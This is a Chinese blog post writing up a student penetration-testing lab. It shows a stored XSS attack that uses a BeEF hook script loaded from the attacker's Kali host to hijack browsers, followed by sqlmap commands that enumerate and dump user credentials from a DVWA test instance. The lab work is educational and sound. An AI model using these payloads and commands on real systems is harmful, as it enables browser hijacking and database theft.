XSS和SQL注入实例

最新推荐文章于 2024-04-27 16:20:14 发布
最新推荐文章于 2024-04-27 16:20:14 发布
阅读量851 收藏 1
点赞数
文章标签： 安全 信息安全 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/axi_ba/article/details/110877892
版权

网络渗透测试实验三

实验目的：了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法；了解SQL注入的基本原理；掌握PHP脚本访问MySQL数据库的基本方法；掌握程序设计中避免出现SQL注入漏洞的基本方法；掌握网站配置。
系统环境：Kali Linux 2、Windows Server
网络环境：交换网络结构
实验工具： Beef；AWVS(Acunetix Web Vulnarability Scanner);SqlMAP；DVWA

XSS

  1. 实验环境搭建。
    角色：留言簿网站。存在XSS漏洞；（IIS或Apache、guestbook搭建）
    攻击者：Kali（使用beEF生成恶意代码，并通过留言方式提交到留言簿网站）；
    被攻击者：访问留言簿网站，浏览器被劫持。在这里插入图片描述

  2. 利用AWVS扫描留言簿网站（安装见参考文档0.AWVS安装与使用.docx），发现其存在XSS漏洞。
    在这里插入图片描述
    然后发现的确存在xss漏洞，所以说我们接下来的实验可以继续。

  3. Kali使用beef生成恶意代码
    在这里插入图片描述
    我们找到恶意代码后就可以去我们建好的网站去留言了。

  4. 访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板，
    <script src="http://Kali的IP地址:3000/hook.js"></script>
    在这里插入图片描述

  5. 管理员登录login.htm，账号密码均为admin，审核用户留言。只要客户端访问这个服务器的留言板，客户端浏览器就会被劫持，指定被劫持网站为学校主页，将你在beff中的配置截图。
    在这里插入图片描述
    接下来我们开始进行我们的‘劫持行动’；找到转跳网站的地方
    在这里插入图片描述
    跳到别的网站（我试试小时候玩的4399）

在这里插入图片描述在这里插入图片描述
然后试试看看能不能转跳到学校的官网

在这里插入图片描述在这里插入图片描述

  1. 回答问题：实验中XSS攻击属于哪种类型？
答：本次实验的XSS攻击属于存储型。

SQL注入部分：DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机。

  1. 注入点发现。首先肯定是要判断是否有注入漏洞。
    在输入框输入1，返回
    在这里插入图片描述
    ID: 1
    First name: admin
    Surname: admin
    返回正常；
    再次输入1’，报错，返回
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
    此时可以断定有SQL注入漏洞，
    http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
    下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低；在这里插入图片描述
    我们先找到一个注入点，获取cookie值

  2. 枚举当前使用的数据库名称和用户名。
    在这里插入图片描述
    输入的命令：

sqlmap -u “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” –cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’ -b --current-db --current-user

Sqlmap输出截图
在这里插入图片描述

  1. 枚举数据库用户名和密码
    在这里插入图片描述
    输入的命令：
sqlmap -u “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#”
–cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’ -D dvwa -T users -C user,password --dump

Sqlmap输出截图
在这里插入图片描述

  1. 枚举数据库
--dbs：枚举当前数据库

你输入的命令：

sqlmap -u  “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#”
–cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’ --dbs

Sqlmap输出截图
在这里插入图片描述

  1. 枚举数据库和指定数据库的数据表
 -D 数据库名：指定数据库
--tables：枚举指定数据库的所有表

你输入的命令：

sqlmap -u  “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#”
–cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’  -D dvwa --tables

Sqlmap输出截图
在这里插入图片描述

  1. 获取指定数据库和表中所有列的信息
-D：指定的数据库
-T：指定数据库中的数据表
--columns：获取列的信息

你输入的命令：

sqlmap -u  “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#”
–cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’ -D dvwa -T users–columns

Sqlmap输出截图
在这里插入图片描述

  1. 枚举指定数据表中的所有用户名与密码,并down到本地。
-C：枚举数据表中的列
--dump：存储数据表项

你输入的命令：

sqlmap -u  “http://192.168.218.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#”
–cookie=‘security=low;PHPSESSID=252fba31e6da7108132fb191384ce43d’ -D dvwa -T users -C user,password --dump

Sqlmap输出截图。
查看down到本地的用户名与密码，截图。（提示带.的文件夹为隐藏，在图形命令下，用文件浏览器打开文件夹，按下ctrl+h组合键可显示隐藏文件合文件夹，再按一次取消显示。）在这里插入图片描述

小结

我们可以通过xss攻击，使没有防备的网站转跳到我们的钓鱼网站去；也可以通过SQL注入，获取一下没有防备的网站的数据库的一些重要信息（当然我们现在很多网站会有相关的防范措施了）。可想而知，如果不节制这样子的做法后果会多么严重，所以说我们更要明白：网络不是法外之地！

阿 翕
关注
网络渗透试验（三）
qq_48489570的博客
12-01 561
实验目的 了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法；了解SQL注入的基本原理；掌握PHP脚本访问MySQL数据库的基本方法；掌握程序设计中避免出现SQL注入漏洞的基本方法；掌握网站配置。 系统环境 Kali Linux 2、Windows Server 网络环境 交换网络结构 实验工具 Beef；AWVS(Acunetix Web Vulnarability Scanner);SqlMAP；DVWA 实验步骤 XSS部分：利用Beef劫持被攻击者客户端浏览器。 角色：留言簿网站。存在
初谈XSS和SQL注入
最新发布
m0_63570321的博客
08-02 782
通过精心构造的代码（JavaScript）注入到网页中，当用户访问被XSS脚本注入过的网页时，XSS脚本就会被提取出来，并由浏览器解释运行这段JS代码，达到恶意攻击的效果。
web跨站脚本攻击（XSS）与sql注入攻击 实例
a116385895的博客
07-02 3232
免责申明：对于此内容仅是提供参考，用于开发人员针对黑客攻击做好安全防范 XSS攻击： 跨站脚本在英文中称为Cross-Site Scripting，缩写为CSS。但是，由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS，为不与其混淆，特将跨站脚本缩写为XSS。 跨站脚本，顾名思义，就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码，一般需要以下几个条件： 客户端访问的网站是一个有漏洞的网站，但是他没有意识到； 在这个网站中通过一些手段放入一段可以执行的代码，吸引客户
Kali网络渗透测试实验三——XSS和SQL注入
qq_45746876的博客
11-24 3768
XSS和SQL注入前言实验目的系统环境：Kali Linux 2、Windows ServerXSS部分：利用Beef劫持被攻击者客户端浏览器实验环境搭建1.利用AWVS扫描留言簿网站，发现其存在XSS漏洞2.Kali使用beef生成恶意代码3.访问http://留言簿网站，将恶意代码写入网站留言板4.管理员登录login.htm，账号密码均为admin，审核用户留言5.回答问题SQL注入部分：DVWA+SQLmap+Mysql注入实战sqlmap语法参考1.注入点发现2.枚举当前使用的数据库名称和用户名3
kali安装BeEF发动XSS攻击
weixin_43148062的博客
04-18 5745
BeEF（ The Browser Exploitation Framework） 是由Wade Alcorn 在2006年开始创建的，至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。BeEF的总体思路就是在内网下通过arp欺骗，修改response包，加入我们的钩子。 1. 安装 root@kali:~# apt-get install beef-xss 2.启动 切换到Be...
java web Xss及sql注入过滤器.zip
04-22
总之，这个项目提供了预防XSS和SQL注入的实例，对于学习如何在Spring Boot应用中实现安全防护非常有帮助。开发者可以通过研究项目源码，了解如何自定义过滤器、配置安全策略以及利用Spring Boot的安全特性，提升自己...
适用于asp.net以及IIS服务器测试的网站源码（含有xss以及sql注入漏洞）
05-25
【标题】"适用于asp.net以及IIS服务器测试的网站源码（含有xss以及sql注入漏洞）" 提供了一个用于网络安全实践和IIS服务器配置验证的环境。这个资源包含了一个带有XSS（跨站脚本攻击）和SQL注入漏洞的ASP.NET网站源...
Spring Boot 如何防护 XSS + SQL 注入攻击 ？终于懂了！
m0_71777195的博客
03-21 1216
跨站脚本攻击XSS是指攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被解析执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击！SQL注入（SQLi）是一种注入攻击，可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询，使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施；可以绕过网页或Web应用程序的身份验证和授权，并检索整个SQL数据库的内容；
Yii框架防止sql注入，xss攻击与csrf攻击的方法
01-20
本文实例讲述了Yii框架防止sql注入，xss攻击与csrf攻击的方法。分享给大家供大家参考，具体如下： PHP中常用到的方法有： /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); $str=strip...
ASP.NET防止SQL注入的方法示例
01-20
本文将详细讲解如何使用实例方法防止ASP.NET中的SQL注入。 首先，了解SQL注入的基本概念。SQL注入是当应用程序直接将用户提供的输入拼接到SQL查询中时发生的一种攻击。攻击者可以通过在表单字段、URL参数等处插入...
渗透工具——kali中SQLMap简介
2301_78006725的博客
09-02 828
首先，SQLMap是一个自动化的SQL注入工具，其主要功能是扫描、发现、利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。3. 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中；4. 联合查询注入，可以使用union的情况下的注入；
kali渗透学习-Web渗透XSS（一）
weixin_43239236的博客
01-23 588
XSS xss表示Cross Site Scripting(跨站脚本攻击)，它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户浏览器的控制。漏洞存在于服务器端，攻击对象为WEB客户端。【原理：为了使用户体验更好等因素，有部分代码会在浏览器中执行】 【JavaScript详解】:与java语言无关；命名完全出于市场原因，是使用最广的客户端脚本语言 使用场景：针对以下几个点位注入 直接嵌入html：<scr
Kali beef-xss实现Xss详细教程。
sunwanfulove的博客
09-28 3507
Kali beef-xss实现Xss详细教程。
网络安全：Kali Linux 进行SQL注入与XSS漏洞利用
cronaldo91的博客
03-27 1897
（3） 查看Kali Linux (2022.4)系统IP地址。（2）查看Kali Linux (2022.4)系统版本。（5）Kali主机 ping Windows主机。（14）Windows主机弹出登录界面。（7）获取当前数据库指定的表的字段名。（4）Windows 查看IP地址。（6）获取当前数据库中所有表的名称。（8）获取指定库指定表指定字段的值。(1) LAMP(LNMP)平台。执行 (选择Execute)（15）beef获取账号及密码。（5）启动beef-xss。（9）beef获取目标主机。
Web安全测试实战：SQL注入与XSS攻击的检测与防御
blues_C的博客
04-27 906
在网络安全领域，SQL注入和跨站脚本（XSS）攻击是两大主要威胁，它们可以导致数据泄露、会话劫持甚至整个系统的破坏。本文将通过具体的代码示例、测试步骤和防御策略，展示如何检测和防御这两种攻击，以提升Web应用的安全性。
网络渗透测试实验三 XSS和SQL注入
weixin_62571616的博客
11-26 777
XSS和SQL注入
复现awvs——sql注入漏洞（时间盲注）
记录并分享学习安全的知识点..
01-14 1630
一、sql注入介绍及分类 sql 注入就是一种通过操作输入来修改后台操作语句达到执行恶意 sql 语句来进行攻击的技术。 按变量类型分： • 数字型 • 字符型 按 HTTP 提交方式分 • GET 注入 • POST 注入 • Cookie 注入 按注入方式分 • 报错注入 • 盲注 • 布尔盲注 • 时间盲注 • union 注入 编码问题 • 宽字节注入 二、awvs扫描结果 三、漏洞复现——bp联合xray，手测加sqlmap爆破 xray开
AWVS部分使用介绍
一枚努力的蛋蛋
08-23 1947
AWVS使用详解介绍主要程序介绍功能概述（这里就不详细介绍了）Scanning options:侧重扫描的漏洞类型设置Scanning profile（扫描的脚本）Scan Setting:扫描设置爬行设置HTTP OptionsLAN SettingsDeepScanCustom CookiesInput FieldsAcuSensorPort ScannerCustom 404applicat...
XSS注入攻击实例与防范
.txt'--&&`，这可能是SQL注入的一部分，但也可以作为XSS的载体。 为了防止XSS攻击，开发者应采取以下措施： - 对用户输入进行过滤和转义，确保不包含恶意脚本。 - 使用HTTP头部的Content-Security-Policy（CSP）...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值